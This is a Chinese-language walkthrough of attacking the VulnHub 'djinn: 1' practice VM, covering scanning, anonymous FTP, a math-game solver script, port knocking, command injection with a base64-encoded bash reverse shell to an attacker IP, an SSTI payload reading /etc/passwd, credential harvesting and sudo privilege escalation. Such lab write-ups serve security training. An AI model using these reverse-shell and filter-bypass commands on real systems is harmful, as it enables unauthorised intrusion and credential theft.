当前位置: 首页 > news >正文

djinn: 1靶场渗透测试

djinn: 1

来自 <djinn: 1 ~ VulnHub>

 

1,将两台虚拟机网络连接都改为NAT模式

2,攻击机上做namp局域网扫描发现靶机

nmap -sn 192.168.23.0/24

那么攻击机IP为192.168.23.182,靶场IP192.168.23.211

3,对靶机进行端口服务探测

nmap -sV -T4 -p- -A 192.168.23.211

  1. 端口21 (FTP - vsftpd 3.0.3)
    • 检查匿名登录:尝试使用anonymous作为用户名,空密码或任意邮箱登录。bash
      复制
      ftp <target_ip>
      # 输入用户名:anonymous,密码留空或任意
    • 漏洞检查:vsftpd 3.0.3未报告严重漏洞,但仍需确认配置安全性,如是否允许匿名上传或存在敏感文件。
  2. 端口1337 (自定义数学挑战服务)
    • 自动化解题脚本:编写脚本连接端口,解析并计算数学表达式,完成1000次答题。
    • Python脚本示例

import socket
import re
host = "目标IP"
port = 1337
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
# 接收欢迎信息
data = s.recv(1024).decode()
print(data)
count = 0
pattern = re.compile(r'\((\d+),\s*[\'"]([-+*/%])[\'"],\s*(\d+)\)')
while count < 1000:
    buffer = ""
    while ">" not in buffer:
        buffer += s.recv(1024).decode()
    match = pattern.search(buffer)
    if not match:
        print("解析失败:", buffer)
        break
    a, op, b = map(str, match.groups())
    a, b = int(a), int(b)
    # 计算答案
    if op == '+': ans = a + b
    elif op == '-': ans = a - b
    elif op == '*': ans = a * b
    elif op == '/': ans = a // b  # 根据服务端处理调整整数或浮点
    elif op == '%': ans = a % b
    else: break
    s.send(f"{ans}\n".encode())
    count += 1
    print(f"已解决 {count}/1000: {a}{op}{b}={ans}")
# 获取最终结果
print(s.recv(4096).decode())
s.close()

  • 注意:根据服务端实际响应调整运算逻辑(如整除或浮点)。
  1. 端口7331 (HTTP - Werkzeug/Python 2.7)
    • 访问Web界面:使用浏览器或curl查看内容。
      curl http://<target_ip>:7331
    • 检查Werkzeug调试控制台:访问/console路径,尝试利用调试器PIN漏洞(需信息泄露生成PIN)。
    • SSTI漏洞探测:在输入点测试模板注入(如URL参数):
      curl http://<target_ip>:7331/{{7*7}}
      # 若返回49则存在漏洞
    • 利用SSTI获取shell(示例):
      {{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}
    • 目录扫描:使用gobuster寻找隐藏路径:
      gobuster dir -u http://<target_ip>:7331 -w /path/to/wordlist
  2. 端口22 (SSH - filtered)
    • 暂缓处理:因过滤状态,可能受防火墙限制,待其他途径获取权限后内网渗透。

 

4,访问一下7331端口的http服务

 

5,然后匿名登录ftp服务器

ftp 192.168.23.211

get creds.txt

get game.txt

get message.txt

然后下载当前文件夹下所有的文件,这些文本存在一些提示

@nitish81299

我要休假几天,所有工作交给你处理。

别搞砸任何事

凭据

nitu:81299

(附言)

哦对了,我忘了告诉你,我在 1337端口 给你准备了一个游戏。

看看你能不能打到最终关卡拿到奖品。

 

6,然后再连接1337端口

telnet 192.168.23.211 1337

输入正确结果会继续,错误结果会直接结束,那么编写脚本来进行这1000次尝试

#coding:utf-8

import logging

import telnetlib

import time

import re

def main():

    try:

        tn = telnetlib.Telnet('192.168.23.211',port=1337)

    except:

        logging.warning("errr")

    time.sleep(0.5)

    loop=1

    while loop<1002:

        data = tn.read_very_eager().decode('ascii')

        print(data)

        res = re.search('(.*?)\s>',data).group(1)

        datas = str(calc(res)).strip()

        print(str(loop)+":"+datas)

        loop=loop+1

        tn.write(datas.encode('ascii')+b"\n")

        time.sleep(0.1)

    data = tn.read_very_eager().decode('ascii')

    return data

def calc(res):

    res_str = res.strip('(').strip(")").replace("'","")

    muns = res_str.split(',')

    munber1 = muns[0].strip()

    orperator = muns[1].strip()

    munber2 = muns[2].strip()

    res = eval(munber1+orperator+munber2)

    return res

print(main())

成功得到以下端口,敲击一下应该就能打开隐蔽端口

 

7,然后knockd开启这些端口

knock 192.168.23.211 1356 6784 3409

knockd 工具详解

knockd 是一款用于实现 端口敲门(Port Knocking) 的守护程序,通过监听特定的端口访问序列来动态修改防火墙规则(如 iptables 或 nftables),从而隐藏受保护服务的真实端口,增强系统安全性。

一、核心功能

  1. 动态防火墙控制
    • 当客户端按预设顺序访问一组关闭的端口时,knockd 自动临时开放目标服务端口(如 SSH)。
    • 操作完成后,可配置自动关闭端口或保持开放一段时间。
  2. 隐蔽服务
    • 服务端口默认关闭,避免被扫描工具(如 nmap)发现。
    • 仅当收到正确敲门序列后,服务才对合法用户可见。
  3. 支持复杂验证
    • 支持单次敲门、多步序列、超时限制。
    • 可结合加密算法(如 SHA1)生成动态敲门序列。

 

经过敲击之后ssh的22端口开启

 

8,对7331端口的http服务进行子目录枚举扫描

gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://192.168.23.211:7331

http://192.168.23.211:7331/wish

http://192.168.23.211:7331/genie

 

9,在http://192.168.23.211:7331/wish的Execute输入id,发现这个地方存在命令执行漏洞

回显位置在URL,使用burpsuite攻击效果更加明显

在/wish输入id发现回显为”error 403",说明这里对输入的命令做了安全限制。所以我们这里需要对输入的命令进行url编码并在/wish界面执行

bash -i >& /dev/tcp/192.168.23.182/4444 0>&1   

echo "YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIzLjE4Mi80NDQ0IDA+JjEg"|base64 -d|bash

然后kali打开对4444端口的监听

 

10,信息收集

这里执行过滤,其中RCE中是被过滤的名单

RCE = ["/", ".", "?", "*", "^", "$", "eval", ";"]

def validate(cmd):

    if CREDS in cmd and "cat" not in cmd:

        return True

 

    try:

        for i in RCE:

            for j in cmd:

                if i == j:

                    return False

        return True

    except Exception:

        return False

其中CREDS是一个字符串,使用find进行查找

find / -name *creds* -print 2>&1| grep -v "Permission denied"

cat /home/nitish/.dev/creds.txt

得到了nitish的密码,这个和ftp服务器里面存在的文件有区别

nitish:p4ssw0rdStr3r0n9

 

11,横向移动到nitish用户                 

得到第一个flag

 

12,sudo -l查看提权利用点

genie 命令使用详解

genie 是一个用于在 WSL (Windows Subsystem for Linux) 中运行 systemd 的工具。它允许在 WSL 实例中启动完整的 systemd 进程管理系统,使得需要 systemd 管理的服务(如 Docker、SSH、Nginx 等)能够在 WSL 中正常工作。

进行尝试genie -cmd id,可以正常运行,exit时会出现机具嘲讽的You are a noob hacker!!

横向移动。使用sam的身份运行id,成功的切换为sam

sudo -u sam genie -cmd id

python -c 'import pty;pty.spawn("/bin/bash")'

 

13,再次查看sudo权限,发现/root/lago具有特殊权限

发现lago命令可以用root的身份运行,并且不需要passwd

sudo -u root /root/lago

 

然后执行 ./proof.sh

 

 

 

 

 

 

 

 

 

 


http://www.mrgr.cn/news/95865.html

相关文章:

  • 微服务面试题:分布式事务和服务监控
  • 中学数学几百年重大错误:将无穷多各异假R误为R——两数集相等的必要条件
  • 万字C++STL——vector模拟实现
  • STM32内部时钟输出比较OC(学习笔记)
  • 常用的离散时间傅里叶变换(DTFT)对
  • Langchain中的表格解析:RAG 和表格的爱恨情仇
  • 深入 SVG:矢量图形、滤镜与动态交互开发指南
  • Python进阶编程总结
  • 定长内存池原理及实现
  • 【Linux知识】RPM软件包安装命令行详细说明
  • MoManipVLA:将视觉-语言-动作模型迁移到通用移动操作
  • Rust从入门到精通之精通篇:21.高级内存管理
  • Tasklet_等待队列_工作队列
  • ngx_http_core_location
  • SVN常用命令
  • 团体协作项目总结Git
  • 基于Ebay拍卖网站成交价格的影响因素分析
  • python工厂模式
  • 2025前端面试题(vue、react、uniapp、微信小程序、JS、CSS、其他)
  • 吾爱出品,文件分类助手,高效管理您的 PC 资源库